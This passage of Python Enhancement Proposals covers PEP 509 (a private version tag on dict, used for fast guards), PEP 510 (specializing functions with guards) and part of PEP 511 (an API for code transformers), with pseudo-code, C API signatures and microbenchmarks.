to check if it was modified after it was copied. If the global variable is not modified, the function uses the cached copy. If the global variable is modified, the function uses a regular lookup, and maybe also deoptimizes the function (to remove the overhead of the guard check for next function calls). See the 510 – Specialized functions with guards for concrete usage of guards to specialize functions and for a more general rationale on Python static optimizers. Guard example Pseudo-code of a fast guard to check if a dictionary entry was modified (created, updated or deleted) using a hypothetical dict_get_version(dict) function: UNSET = object() class GuardDictKey: def __init__(self, dict, key): self.dict = dict self.key = key self.value = dict.get(key, UNSET) self.version = dict_get_version(dict) def check(self): """Return True if the dictionary entry did not change and the dictionary was not replaced.""" # read the version of the dictionary version = dict_get_version(self.dict) if version == self.version: # Fast-path: dictionary lookup avoided return True # lookup in the dictionary value = self.dict.get(self.key, UNSET) if value is self.value: # another key was modified: # cache the new dictionary version self.version = version return True # the key was modified return False Usage of the dict version Speedup method calls Yury Selivanov wrote a patch to optimize method calls. The patch depends on the “implement per-opcode cache in ceval” patch which requires dictionary versions to invalidate the cache if the globals dictionary or the builtins dictionary has been modified. The cache also requires that the dictionary version is globally unique. It is possible to define a function in a namespace and call it in a different namespace, using exec() with the globals parameter for example. In this case, the globals dictionary was replaced and the cache must also be invalidated. Specialized functions using guards PEP 510 proposes an API to support specialized functions with guards. It allows to implement static optimizers for Python without breaking the Python semantics. The fatoptimizer of the FAT Python project is an example of a static Python optimizer. It implements many optimizations which require guards on namespaces: Call pure builtins: to replace len("abc") with 3, guards on builtins.__dict__['len'] and globals()['len'] are required Loop unrolling: to unroll the loop for i in range(...): ..., guards on builtins.__dict__['range'] and globals()['range'] are required etc. Pyjion According of Brett Cannon, one of the two main developers of Pyjion, Pyjion can benefit from dictionary version to implement optimizations. Pyjion is a JIT compiler for Python based upon CoreCLR (Microsoft .NET Core runtime). Cython Cython can benefit from dictionary version to implement optimizations. Cython is an optimising static compiler for both the Python programming language and the extended Cython programming language. Unladen Swallow Even if dictionary version was not explicitly mentioned, optimizing globals and builtins lookup was part of the Unladen Swallow plan: “Implement one of the several proposed schemes for speeding lookups of globals and builtins.” (source: Unladen Swallow ProjectPlan). Unladen Swallow is a fork of CPython 2.6.1 adding a JIT compiler implemented with LLVM. The project stopped in 2011: Unladen Swallow Retrospective. Changes Add a ma_version_tag field to the PyDictObject structure with the C type PY_UINT64_T, 64-bit unsigned integer. Add also a global dictionary version. Each time a dictionary is created, the global version is incremented and the dictionary version is initialized to the global version. Each time the dictionary content is modified, the global version must be incremented and copied to the dictionary version. Dictionary methods which can modify its content: clear() pop(key) popitem() setdefault(key, value) __delitem__(key) __setitem__(key, value) update(...) The choice of increasing or not the version when a dictionary method does not change its content is left to the Python implementation. A Python implementation can decide to not increase the version to avoid dictionary lookups in guards. Examples of cases when dictionary methods don’t modify its content: clear() if the dict is already empty pop(key) if the key does not exist popitem() if the dict is empty setdefault(key, value) if the key already exists __delitem__(key) if the key does not exist __setitem__(key, value) if the new value is identical to the current value update() if called without argument or if new values are identical to current values Setting a key to a new value equals to the old value is also considered as an operation modifying the dictionary content. Two different empty dictionaries must have a different version to be able to identify a dictionary just by its version. It allows to verify in a guard that a namespace was not replaced without storing a strong reference to the dictionary. Using a borrowed reference does not work: if the old dictionary is destroyed, it is possible that a new dictionary is allocated at the same memory address. By the way, dictionaries don’t support weak references. The version increase must be atomic. In CPython, the Global Interpreter Lock (GIL) already protects dict methods to make changes atomic. Example using a hypothetical dict_get_version(dict) function: >>> d = {} >>> dict_get_version(d) 100 >>> d['key'] = 'value' >>> dict_get_version(d) 101 >>> d['key'] = 'new value' >>> dict_get_version(d) 102 >>> del d['key'] >>> dict_get_version(d) 103 The field is called ma_version_tag, rather than ma_version, to suggest to compare it using version_tag == old_version_tag, rather than version <= old_version which becomes wrong after an integer overflow. Backwards Compatibility Since the PyDictObject structure is not part of the stable ABI and the new dictionary version not exposed at the Python scope, changes are backward compatible. Implementation and Performance The issue #26058: PEP 509: Add ma_version_tag to PyDictObject contains a patch implementing this PEP. On pybench and timeit microbenchmarks, the patch does not seem to add any overhead on dictionary operations. For example, the following timeit micro-benchmarks takes 318 nanoseconds before and after the change: python3.6 -m timeit 'd={1: 0}; d[2]=0; d[3]=0; d[4]=0; del d[1]; del d[2]; d.clear()' When the version does not change, PyDict_GetItem() takes 14.8 ns for a dictionary lookup, whereas a guard check only takes 3.8 ns. Moreover, a guard can watch for multiple keys. For example, for an optimization using 10 global variables in a function, 10 dictionary lookups costs 148 ns, whereas the guard still only costs 3.8 ns when the version does not change (39x as fast). The fat module implements such guards: fat.GuardDict is based on the dictionary version. Integer overflow The implementation uses the C type PY_UINT64_T to store the version: a 64 bits unsigned integer. The C code uses version++. On integer overflow, the version is wrapped to 0 (and then continues to be incremented) according to the C standard. After an integer overflow, a guard can succeed whereas the watched dictionary key was modified. The bug only occurs at a guard check if there are exactly 2 ** 64 dictionary creations or modifications since the previous guard check. If a dictionary is modified every nanosecond, 2 ** 64 modifications takes longer than 584 years. Using a 32-bit version, it only takes 4 seconds. That’s why a 64-bit unsigned type is also used on 32-bit systems. A dictionary lookup at the C level takes 14.8 ns. A risk of a bug every 584 years is acceptable. Alternatives Expose the version at Python level as a read-only __version__ property The first version of the PEP proposed to expose the dictionary version as a read-only __version__ property at Python level, and also to add the property to collections.UserDict (since this type must mimic the dict API). There are multiple issues: To be consistent and avoid bad surprises, the version must be added to all mapping types. Implementing a new mapping type would require extra work for no benefit, since the version is only required on the dict type in practice. All Python implementations would have to implement this new property, it gives more work to other implementations, whereas they may not use the dictionary version at all. Exposing the dictionary version at the Python level can lead the false assumption on performances. Checking dict.__version__ at the Python level is not faster than a dictionary lookup. A dictionary lookup in Python has a cost of 48.7 ns and checking the version has a cost of 47.5 ns, the difference is only 1.2 ns (3%):$ python3.6 -m timeit -s 'd = {str(i):i for i in range(100)}' 'd["33"] == 33' 10000000 loops, best of 3: 0.0487 usec per loop $ python3.6 -m timeit -s 'd = {str(i):i for i in range(100)}' 'd.__version__ == 100' 10000000 loops, best of 3: 0.0475 usec per loop The __version__ can be wrapped on integer overflow. It is error prone: using dict.__version__ <= guard_version is wrong, dict.__version__ == guard_version must be used instead to reduce the risk of bug on integer overflow (even if the integer overflow is unlikely in practice). Mandatory bikeshedding on the property name: __cache_token__: name proposed by Alyssa Coghlan, name coming from abc.get_cache_token(). __version__ __version_tag__ __timestamp__ Add a version to each dict entry A single version per dictionary requires to keep a strong reference to the value which can keep the value alive longer than expected. If we add also a version per dictionary entry, the guard can only store the entry version (a simple integer) to avoid the strong reference to the value: only strong references to the dictionary and to the key are needed. Changes: add a me_version_tag field to the PyDictKeyEntry structure, the field has the C type PY_UINT64_T. When a key is created or modified, the entry version is set to the dictionary version which is incremented at any change (create, modify, delete). Pseudo-code of a fast guard to check if a dictionary key was modified using hypothetical dict_get_version(dict) and dict_get_entry_version(dict) functions: UNSET = object() class GuardDictKey: def __init__(self, dict, key): self.dict = dict self.key = key self.dict_version = dict_get_version(dict) self.entry_version = dict_get_entry_version(dict, key) def check(self): """Return True if the dictionary entry did not change and the dictionary was not replaced.""" # read the version of the dictionary dict_version = dict_get_version(self.dict) if dict_version == self.version: # Fast-path: dictionary lookup avoided return True # lookup in the dictionary to read the entry version entry_version = get_dict_key_version(dict, key) if entry_version == self.entry_version: # another key was modified: # cache the new dictionary version self.dict_version = dict_version self.entry_version = entry_version return True # the key was modified return False The main drawback of this option is the impact on the memory footprint. It increases the size of each dictionary entry, so the overhead depends on the number of buckets (dictionary entries, used or not used). For example, it increases the size of each dictionary entry by 8 bytes on 64-bit system. In Python, the memory footprint matters and the trend is to reduce it. Examples: PEP 393 – Flexible String Representation PEP 412 – Key-Sharing Dictionary Add a new dict subtype Add a new verdict type, subtype of dict. When guards are needed, use the verdict for namespaces (module namespace, type namespace, instance namespace, etc.) instead of dict. Leave the dict type unchanged to not add any overhead (CPU, memory footprint) when guards are not used. Technical issue: a lot of C code in the wild, including CPython core, expecting the exact dict type. Issues: exec() requires a dict for globals and locals. A lot of code use globals={}. It is not possible to cast the dict to a dict subtype because the caller expects the globals parameter to be modified (dict is mutable). C functions call directly PyDict_xxx() functions, instead of calling PyObject_xxx() if the object is a dict subtype PyDict_CheckExact() check fails on dict subtype, whereas some functions require the exact dict type. Python/ceval.c does not completely supports dict subtypes for namespaces The exec() issue is a blocker issue. Other issues: The garbage collector has a special code to “untrack” dict instances. If a dict subtype is used for namespaces, the garbage collector can be unable to break some reference cycles. Some functions have a fast-path for dict which would not be taken for dict subtypes, and so it would make Python a little bit slower. Prior Art Method cache and type version tag In 2007, Armin Rigo wrote a patch to implement a cache of methods. It was merged into Python 2.6. The patch adds a “type attribute cache version tag” (tp_version_tag) and a “valid version tag” flag to types (the PyTypeObject structure). The type version tag is not exposed at the Python level. The version tag has the C type unsigned int. The cache is a global hash table of 4096 entries, shared by all types. The cache is global to “make it fast, have a deterministic and low memory footprint, and be easy to invalidate”. Each cache entry has a version tag. A global version tag is used to create the next version tag, it also has the C type unsigned int. By default, a type has its “valid version tag” flag cleared to indicate that the version tag is invalid. When the first method of the type is cached, the version tag and the “valid version tag” flag are set. When a type is modified, the “valid version tag” flag of the type and its subclasses is cleared. Later, when a cache entry of these types is used, the entry is removed because its version tag is outdated. On integer overflow, the whole cache is cleared and the global version tag is reset to 0. See Method cache (issue #1685986) and Armin’s method cache optimization updated for Python 2.6 (issue #1700288). Globals / builtins cache In 2010, Antoine Pitrou proposed a Globals / builtins cache (issue #10401) which adds a private ma_version field to the PyDictObject structure (dict type), the field has the C type Py_ssize_t. The patch adds a “global and builtin cache” to functions and frames, and changes LOAD_GLOBAL and STORE_GLOBAL instructions to use the cache. The change on the PyDictObject structure is very similar to this PEP. Cached globals+builtins lookup In 2006, Andrea Griffini proposed a patch implementing a Cached globals+builtins lookup optimization. The patch adds a private timestamp field to the PyDictObject structure (dict type), the field has the C type size_t. Thread on python-dev: About dictionary lookup caching (December 2006). Guard against changing dict during iteration In 2013, Serhiy Storchaka proposed Guard against changing dict during iteration (issue #19332) which adds a ma_count field to the PyDictObject structure (dict type), the field has the C type size_t. This field is incremented when the dictionary is modified. PySizer PySizer: a memory profiler for Python, Google Summer of Code 2005 project by Nick Smallbone. This project has a patch for CPython 2.4 which adds key_time and value_time fields to dictionary entries. It uses a global process-wide counter for dictionaries, incremented each time that a dictionary is modified. The times are used to decide when child objects first appeared in their parent objects. Discussion Thread on the mailing lists: python-dev: Updated PEP 509 python-dev: RFC: PEP 509: Add a private version to dict python-dev: PEP 509: Add a private version to dict (January 2016) python-ideas: RFC: PEP: Add dict.__version__ (January 2016) Acceptance The PEP was accepted on 2016-09-07 by Guido van Rossum. The PEP implementation has since been committed to the repository. Copyright This document has been placed in the public domain.

Superseded

PEP 509 – Add a private version to dict

Standards Track

Add a new private version to the builtin dict type, incremented at each dictionary creation and at each dictionary change, to implement fast guards on namespaces.

PEP 510 – Specialize functions with guards Author: Victor Stinner <vstinner at python.org> Status: Rejected Type: Standards Track Created: 04-Jan-2016 Python-Version: 3.6 Table of Contents Rejection Notice Abstract Rationale Python semantics Why not a JIT compiler? Examples Hypothetical myoptimizer module Using bytecode Using builtin function Choose the specialized code Changes Function guard Specialized code Function methods PyFunction_Specialize PyFunction_GetSpecializedCodes PyFunction_GetSpecializedCode PyFunction_RemoveSpecialized PyFunction_RemoveAllSpecialized Benchmark Implementation Other implementations of Python Discussion Copyright Rejection Notice This PEP was rejected by its author since the design didn’t show any significant speedup, but also because of the lack of time to implement the most advanced and complex optimizations. Abstract Add functions to the Python C API to specialize pure Python functions: add specialized codes with guards. It allows to implement static optimizers respecting the Python semantics. Rationale Python semantics Python is hard to optimize because almost everything is mutable: builtin functions, function code, global variables, local variables, … can be modified at runtime. Implement optimizations respecting the Python semantics requires to detect when “something changes”, we will call these checks “guards”. This PEP proposes to add a public API to the Python C API to add specialized codes with guards to a function. When the function is called, a specialized code is used if nothing changed, otherwise use the original bytecode. Even if guards help to respect most parts of the Python semantics, it’s hard to optimize Python without making subtle changes on the exact behaviour. CPython has a long history and many applications rely on implementation details. A compromise must be found between “everything is mutable” and performance. Writing an optimizer is out of the scope of this PEP. Why not a JIT compiler? There are multiple JIT compilers for Python actively developed: PyPy Pyston Numba Pyjion Numba is specific to numerical computation. Pyston and Pyjion are still young. PyPy is the most complete Python interpreter, it is generally faster than CPython in micro- and many macro-benchmarks and has a very good compatibility with CPython (it respects the Python semantics). There are still issues with Python JIT compilers which avoid them to be widely used instead of CPython. Many popular libraries like numpy, PyGTK, PyQt, PySide and wxPython are implemented in C or C++ and use the Python C API. To have a small memory footprint and better performances, Python JIT compilers do not use reference counting to use a faster garbage collector, do not use C structures of CPython objects and manage memory allocations differently. PyPy has a cpyext module which emulates the Python C API but it has worse performances than CPython and does not support the full Python C API. New features are first developed in CPython. In January 2016, the latest CPython stable version is 3.5, whereas PyPy only supports Python 2.7 and 3.2, and Pyston only supports Python 2.7. Even if PyPy has a very good compatibility with Python, some modules are still not compatible with PyPy: see PyPy Compatibility Wiki. The incomplete support of the Python C API is part of this problem. There are also subtle differences between PyPy and CPython like reference counting: object destructors are always called in PyPy, but can be called “later” than in CPython. Using context managers helps to control when resources are released. Even if PyPy is much faster than CPython in a wide range of benchmarks, some users still report worse performances than CPython on some specific use cases or unstable performances. When Python is used as a scripting program for programs running less than 1 minute, JIT compilers can be slower because their startup time is higher and the JIT compiler takes time to optimize the code. For example, most Mercurial commands take a few seconds. Numba now supports ahead of time compilation, but it requires decorator to specify arguments types and it only supports numerical types. CPython 3.5 has almost no optimization: the peephole optimizer only implements basic optimizations. A static compiler is a compromise between CPython 3.5 and PyPy. Note There was also the Unladen Swallow project, but it was abandoned in 2011. Examples Following examples are not written to show powerful optimizations promising important speedup, but to be short and easy to understand, just to explain the principle. Hypothetical myoptimizer module Examples in this PEP uses a hypothetical myoptimizer module which provides the following functions and types: specialize(func, code, guards): add the specialized code code with guards guards to the function func get_specialized(func): get the list of specialized codes as a list of (code, guards) tuples where code is a callable or code object and guards is a list of a guards GuardBuiltins(name): guard watching for builtins.__dict__[name] and globals()[name]. The guard fails if builtins.__dict__[name] is replaced, or if globals()[name] is set. Using bytecode Add specialized bytecode where the call to the pure builtin function chr(65) is replaced with its result "A": import myoptimizer def func(): return chr(65) def fast_func(): return "A" myoptimizer.specialize(func, fast_func.__code__, [myoptimizer.GuardBuiltins("chr")]) del fast_func Example showing the behaviour of the guard: print("func(): %s" % func()) print("#specialized: %s" % len(myoptimizer.get_specialized(func))) print() import builtins builtins.chr = lambda obj: "mock" print("func(): %s" % func()) print("#specialized: %s" % len(myoptimizer.get_specialized(func))) Output: func(): A #specialized: 1 func(): mock #specialized: 0 The first call uses the specialized bytecode which returns the string "A". The second call removes the specialized code because the builtin chr() function was replaced, and executes the original bytecode calling chr(65). On a microbenchmark, calling the specialized bytecode takes 88 ns, whereas the original function takes 145 ns (+57 ns): 1.6 times as fast. Using builtin function Add the C builtin chr() function as the specialized code instead of a bytecode calling chr(obj): import myoptimizer def func(arg): return chr(arg) myoptimizer.specialize(func, chr, [myoptimizer.GuardBuiltins("chr")]) Example showing the behaviour of the guard: print("func(65): %s" % func(65)) print("#specialized: %s" % len(myoptimizer.get_specialized(func))) print() import builtins builtins.chr = lambda obj: "mock" print("func(65): %s" % func(65)) print("#specialized: %s" % len(myoptimizer.get_specialized(func))) Output: func(): A #specialized: 1 func(): mock #specialized: 0 The first call calls the C builtin chr() function (without creating a Python frame). The second call removes the specialized code because the builtin chr() function was replaced, and executes the original bytecode. On a microbenchmark, calling the C builtin takes 95 ns, whereas the original bytecode takes 155 ns (+60 ns): 1.6 times as fast. Calling directly chr(65) takes 76 ns. Choose the specialized code Pseudo-code to choose the specialized code to call a pure Python function: def call_func(func, args, kwargs): specialized = myoptimizer.get_specialized(func) nspecialized = len(specialized) index = 0 while index < nspecialized: specialized_code, guards = specialized[index] for guard in guards: check = guard(args, kwargs) if check: break if not check: # all guards succeeded: # use the specialized code return specialized_code elif check == 1: # a guard failed temporarily: # try the next specialized code index += 1 else: assert check == 2 # a guard will always fail: # remove the specialized code del specialized[index] # if a guard of each specialized code failed, or if the function # has no specialized code, use original bytecode code = func.__code__ Changes Changes to the Python C API: Add a PyFuncGuardObject object and a PyFuncGuard_Type type Add a PySpecializedCode structure Add the following fields to the PyFunctionObject structure:Py_ssize_t nb_specialized; PySpecializedCode *specialized; Add function methods: PyFunction_Specialize() PyFunction_GetSpecializedCodes() PyFunction_GetSpecializedCode() PyFunction_RemoveSpecialized() PyFunction_RemoveAllSpecialized() None of these function and types are exposed at the Python level. All these additions are explicitly excluded of the stable ABI. When a function code is replaced (func.__code__ = new_code), all specialized codes and guards are removed. Function guard Add a function guard object: typedef struct { PyObject ob_base; int (*init) (PyObject *guard, PyObject *func); int (*check) (PyObject *guard, PyObject **stack, int na, int nk); } PyFuncGuardObject; The init() function initializes a guard: Return 0 on success Return 1 if the guard will always fail: PyFunction_Specialize() must ignore the specialized code Raise an exception and return -1 on error The check() function checks a guard: Return 0 on success Return 1 if the guard failed temporarily Return 2 if the guard will always fail: the specialized code must be removed Raise an exception and return -1 on error stack is an array of arguments: indexed arguments followed by (key, value) pairs of keyword arguments. na is the number of indexed arguments. nk is the number of keyword arguments: the number of (key, value) pairs. stack contains na + nk * 2 objects. Specialized code Add a specialized code structure: typedef struct { PyObject *code; /* callable or code object */ Py_ssize_t nb_guard; PyObject **guards; /* PyFuncGuardObject objects */ } PySpecializedCode; Function methods PyFunction_Specialize Add a function method to specialize the function, add a specialized code with guards: int PyFunction_Specialize(PyObject *func, PyObject *code, PyObject *guards) If code is a Python function, the code object of the code function is used as the specialized code. The specialized Python function must have the same parameter defaults, the same keyword parameter defaults, and must not have specialized code. If code is a Python function or a code object, a new code object is created and the code name and first line number of the code object of func are copied. The specialized code must have the same cell variables and the same free variables. Result: Return 0 on success Return 1 if the specialization has been ignored Raise an exception and return -1 on error PyFunction_GetSpecializedCodes Add a function method to get the list of specialized codes: PyObject* PyFunction_GetSpecializedCodes(PyObject *func) Return a list of (code, guards) tuples where code is a callable or code object and guards is a list of PyFuncGuard objects. Raise an exception and return NULL on error. PyFunction_GetSpecializedCode Add a function method checking guards to choose a specialized code: PyObject* PyFunction_GetSpecializedCode(PyObject *func, PyObject **stack, int na, int nk) See check() function of guards for stack, na and nk arguments. Return a callable or a code object on success. Raise an exception and return NULL on error. PyFunction_RemoveSpecialized Add a function method to remove a specialized code with its guards by its index: int PyFunction_RemoveSpecialized(PyObject *func, Py_ssize_t index) Return 0 on success or if the index does not exist. Raise an exception and return -1 on error. PyFunction_RemoveAllSpecialized Add a function method to remove all specialized codes and guards of a function: int PyFunction_RemoveAllSpecialized(PyObject *func) Return 0 on success. Raise an exception and return -1 if func is not a function. Benchmark Microbenchmark on python3.6 -m timeit -s 'def f(): pass' 'f()' (best of 3 runs): Original Python: 79 ns Patched Python: 79 ns According to this microbenchmark, the changes has no overhead on calling a Python function without specialization. Implementation The issue #26098: PEP 510: Specialize functions with guards contains a patch which implements this PEP. Other implementations of Python This PEP only contains changes to the Python C API, the Python API is unchanged. Other implementations of Python are free to not implement new additions, or implement added functions as no-op: PyFunction_Specialize(): always return 1 (the specialization has been ignored) PyFunction_GetSpecializedCodes(): always return an empty list PyFunction_GetSpecializedCode(): return the function code object, as the existing PyFunction_GET_CODE() macro Discussion Thread on the python-ideas mailing list: RFC: PEP: Specialized functions with guards. Copyright This document has been placed in the public domain.

Rejected

PEP 510 – Specialize functions with guards

Standards Track

Add functions to the Python C API to specialize pure Python functions: add specialized codes with guards. It allows to implement static optimizers respecting the Python semantics.

PEP 511 – API for code transformers Author: Victor Stinner <vstinner at python.org> Status: Rejected Type: Standards Track Created: 04-Jan-2016 Python-Version: 3.6 Table of Contents Rejection Notice Abstract Rationale Usage 1: AST optimizer Usage 2: Preprocessor Usage 3: Disable all optimization Usage 4: Write new bytecode optimizers in Python Use Cases Interactive interpreter Build a transformed package Install a package containing transformed .pyc files Build .pyc files when installing a package Execute transformed code Code transformer API code_transformer() method ast_transformer() method Changes API to get/set code transformers Optimizer tag Peephole optimizer AST enhancements Examples .pyc filenames Bytecode transformer AST transformer Other Python implementations Discussion Prior Art AST optimizers Python Preprocessors Bytecode transformers Copyright Rejection Notice This PEP was rejected by its author. This PEP was seen as blessing new Python-like programming languages which are close but incompatible with the regular Python language. It was decided to not promote syntaxes incompatible with Python. This PEP was also seen as a nice tool to experiment new Python features, but it is already possible to experiment them without the PEP, only with importlib hooks. If a feature becomes useful, it should be directly part of Python, instead of depending on an third party Python module. Finally, this PEP was driven was the FAT Python optimization project which was abandoned in 2016, since it was not possible to show any significant speedup, but also because of the lack of time to implement the most advanced and complex optimizations. Abstract Propose an API to register bytecode and AST transformers. Add also -o OPTIM_TAG command line option to change .pyc filenames, -o noopt disables the peephole optimizer. Raise an ImportError exception on import if the .pyc file is missing and the code transformers required to transform the code are missing. code transformers are not needed code transformed ahead of time (loaded from .pyc files). Rationale Python does not provide a standard way to transform the code. Projects transforming the code use various hooks. The MacroPy project uses an import hook: it adds its own module finder in sys.meta_path to hook its AST transformer. Another option is to monkey-patch the builtin compile() function. There are even more options to hook a code transformer. Python 3.4 added a compile_source() method to importlib.abc.SourceLoader. But code transformation is wider than just importing modules, see described use cases below. Writing an optimizer or a preprocessor is out of the scope of this PEP. Usage 1: AST optimizer Transforming an Abstract Syntax Tree (AST) is a convenient way to implement an optimizer. It’s easier to work on the AST than working on the bytecode, AST contains more information and is more high level. Since the optimization can done ahead of time, complex but slow optimizations can be implemented. Example of optimizations which can be implemented with an AST optimizer: Copy propagation: replace x=1; y=x with x=1; y=1 Constant folding: replace 1+1 with 2 Dead code elimination Using guards (see PEP 510), it is possible to implement a much wider choice of optimizations. Examples: Simplify iterable: replace range(3) with (0, 1, 2) when used as iterable Loop unrolling Call pure builtins: replace len("abc") with 3 Copy used builtin symbols to constants See also optimizations implemented in fatoptimizer, a static optimizer for Python 3.6. The following issues can be implemented with an AST optimizer: Issue #1346238: A constant folding optimization pass for the AST Issue #2181: optimize out local variables at end of function Issue #2499: Fold unary + and not on constants Issue #4264: Patch: optimize code to use LIST_APPEND instead of calling list.append Issue #7682: Optimisation of if with constant expression Issue #10399: AST Optimization: inlining of function calls Issue #11549: Build-out an AST optimizer, moving some functionality out of the peephole optimizer Issue #17068: peephole optimization for constant strings Issue #17430: missed peephole optimization Usage 2: Preprocessor A preprocessor can be easily implemented with an AST transformer. A preprocessor has various and different usages. Some examples: Remove debug code like assertions and logs to make the code faster to run it for production. Tail-call Optimization Add profiling code Lazy evaluation: see lazy_python (bytecode transformer) and lazy macro of MacroPy (AST transformer) Change dictionary literals into collection.OrderedDict instances Declare constants: see @asconstants of codetransformer Domain Specific Language (DSL) like SQL queries. The Python language itself doesn’t need to be modified. Previous attempts to implement DSL for SQL like PEP 335 - Overloadable Boolean Operators was rejected. Pattern Matching of functional languages String Interpolation, but PEP 498 was merged into Python 3.6. MacroPy has a long list of examples and use cases. This PEP does not add any new code transformer. Using a code transformer will require an external module and to register it manually. See also PyXfuscator: Python obfuscator, deobfuscator, and user-assisted decompiler. Usage 3: Disable all optimization Ned Batchelder asked to add an option to disable the peephole optimizer because it makes code coverage more difficult to implement. See the discussion on the python-ideas mailing list: Disable all peephole optimizations. This PEP adds a new -o noopt command line option to disable the peephole optimizer. In Python, it’s as easy as: sys.set_code_transformers([]) It will fix the Issue #2506: Add mechanism to disable optimizations. Usage 4: Write new bytecode optimizers in Python Python 3.6 optimizes the code using a peephole optimizer. By definition, a peephole optimizer has a narrow view of the code and so can only implement basic optimizations. The optimizer rewrites the bytecode. It is difficult to enhance it, because it written in C. With this PEP, it becomes possible to implement a new bytecode optimizer in pure Python and experiment new optimizations. Some optimizations are easier to implement on the AST like constant folding, but optimizations on the bytecode are still useful. For example, when the AST is compiled to bytecode, useless jumps can be emitted because the compiler is naive and does not try to optimize anything. Use Cases This section give examples of use cases explaining when and how code transformers will be used. Interactive interpreter It will be possible to use code transformers with the interactive interpreter which is popular in Python and commonly used to demonstrate Python. The code is transformed at runtime and so the interpreter can be slower when expensive code transformers are used. Build a transformed package It will be possible to build a package of the transformed code. A transformer can have a configuration. The configuration is not stored in the package. All .pyc files of the package must be transformed with the same code transformers and the same transformers configuration. It is possible to build different .pyc files using different optimizer tags. Example: fat for the default configuration and fat_inline for a different configuration with function inlining enabled. A package can contain .pyc files with different optimizer tags. Install a package containing transformed .pyc files It will be possible to install a package which contains transformed .pyc files. All .pyc files with any optimizer tag contained in the package are installed, not only for the current optimizer tag. Build .pyc files when installing a package If a package does not contain any .pyc files of the current optimizer tag (or some .pyc files are missing), the .pyc are created during the installation. Code transformers of the optimizer tag are required. Otherwise, the installation fails with an error. Execute transformed code It will be possible to execute transformed code. Raise an ImportError exception on import if the .pyc file of the current optimizer tag is missing and the code transformers required to transform the code are missing. The interesting point here is that code transformers are not needed to execute the transformed code if all required .pyc files are already available. Code transformer API A code transformer is a class with ast_transformer() and/or code_transformer() methods (API described below) and a name attribute. For efficiency, do not define a code_transformer() or ast_transformer() method if it does nothing. The name attribute (str) must be a short string used to identify an optimizer. It is used to build a .pyc filename. The name must not contain dots ('.'), dashes ('-') or directory separators: dots are used to separated fields in a .pyc filename and dashes areused to join code transformer names to build the optimizer tag. Note It would be nice to pass the fully qualified name of a module in the context when an AST transformer is used to transform a module on import, but it looks like the information is not available in PyParser_ASTFromStringObject(). code_transformer() method Prototype: def code_transformer(self, code, context): ... new_code = ... ... return new_code Parameters: code: code object context: an object with an optimize attribute (int), the optimization level (0, 1 or 2). The value of the optimize attribute comes from the optimize parameter of the compile() function, it is equal to sys.flags.optimize by default. Each implementation of Python can add extra attributes to context. For example, on CPython, context will also have the following attribute: interactive (bool): true if in interactive mode XXX add more flags? XXX replace flags int with a sub-namespace, or with specific attributes? The method must return a code object. The code transformer is run after the compilation to bytecode ast_transformer() method Prototype: def ast_transformer(self, tree, context): ... return tree Parameters: tree: an AST tree context: an object with a filename attribute (str) It must return an AST tree. It can modify the AST tree in place, or create a new AST tree. The AST transformer is called after the creation of the AST by the parser and before the compilation to bytecode. New attributes may be added to context in the future. Changes In short, add: -o OPTIM_TAG command line option sys.implementation.optim_tag sys.get_code_transformers() sys.set_code_transformers(transformers) ast.PyCF_TRANSFORMED_AST API to get/set code transformers Add new functions to register code transformers: sys.set_code_transformers(transformers): set the list of code transformers and update sys.implementation.optim_tag sys.get_code_transformers(): get the list of code transformers. The order of code transformers matter. Running transformer A and then transformer B can give a different output than running transformer B an then transformer A. Example to prepend a new code transformer: transformers = sys.get_code_transformers() transformers.insert(0, new_cool_transformer) sys.set_code_transformers(transformers) All AST transformers are run sequentially (ex: the second transformer gets the input of the first transformer), and then all bytecode transformers are run sequentially. Optimizer tag Changes: Add sys.implementation.optim_tag (str): optimization tag. The default optimization tag is 'opt'. Add a new -o OPTIM_TAG command line option to set sys.implementation.optim_tag. Changes on importlib: importlib uses sys.implementation.optim_tag to build the .pyc filename to importing modules, instead of always using opt. Remove also the special case for the optimizer level 0 with the default optimizer tag 'opt' to simplify the code. When loading a module, if the .pyc file is missing but the .py is available, the .py is only used if code optimizers have the same optimizer tag than the current tag, otherwise an ImportError exception is raised. Pseudo-code of a use_py() function to decide if a .py file can be compiled to import a module: def transformers_tag(): transformers = sys.get_code_transformers() if not transformers: return 'noopt' return '-'.join(transformer.name for transformer in transformers) def use_py(): return (transformers_tag() == sys.implementation.optim_tag) The order of sys.get_code_transformers() matter. For example, the fat transformer followed by the pythran transformer gives the optimizer tag fat-pythran. The behaviour of the importlib module is unchanged with the default optimizer tag ('opt'). Peephole optimizer By default, sys.implementation.optim_tag is opt and sys.get_code_transformers() returns a list of one code transformer: the peephole optimizer (optimize the bytecode). Use -o noopt to disable the peephole optimizer. In this case, the optimizer tag is noopt and no code transformer is registered. Using the -o opt option has not effect. AST enhancements Enhancements to simplify the implementation of AST transformers: Add a new compiler flag PyCF_TRANSFORMED_AST to get the transformed AST. PyCF_ONLY_AST returns the AST before the transformers. Examples .pyc filenames Example of .pyc filenames of the os module. With the default optimizer tag 'opt': .pyc filename Optimization level os.cpython-36.opt-0.pyc 0 os.cpython-36.opt-1.pyc 1 os.cpython-36.opt-2.pyc 2 With the 'fat' optimizer tag: .pyc filename Optimization level os.cpython-36.fat-0.pyc 0 os.cpython-36.fat-1.pyc 1 os.cpython-36.fat-2.pyc 2 Bytecode transformer Scary bytecode transformer replacing all strings with "Ni! Ni! Ni!": import sys import types class BytecodeTransformer: name = "knights_who_say_ni" def code_transformer(self, code, context): consts = ['Ni! Ni! Ni!' if isinstance(const, str) else const for const in code.co_consts] return types.CodeType(code.co_argcount, code.co_kwonlyargcount, code.co_nlocals, code.co_stacksize, code.co_flags, code.co_code, tuple(consts), code.co_names, code.co_varnames, code.co_filename, code.co_name, code.co_firstlineno, code.co_lnotab, code.co_freevars, code.co_cellvars) # replace existing code transformers with the new bytecode transformer sys.set_code_transformers([BytecodeTransformer()]) # execute code which will be transformed by code_transformer() exec("print('Hello World!')") Output: Ni! Ni! Ni! AST transformer Similarly to the bytecode transformer example, the AST transformer also replaces all strings with "Ni! Ni! Ni!": import ast import sys class KnightsWhoSayNi(ast.NodeTransformer): def visit_Str(self, node): node.s = 'Ni! Ni! Ni!' return node class ASTTransformer: name = "knights_who_say_ni" def __init__(self): self.transformer = KnightsWhoSayNi() def ast_transformer(self, tree, context): self.transformer.visit(tree) return tree # replace existing code transformers with the new AST transformer sys.set_code_transformers([ASTTransformer()]) # execute code which will be transformed by ast_transformer() exec("print('Hello World!')") Output: Ni! Ni! Ni! Other Python implementations The PEP 511 should be implemented by all Python implementation, but the bytecode and the AST are not standardized. By the way, even between minor version of CPython, there are changes on the AST API. There are differences, but only minor 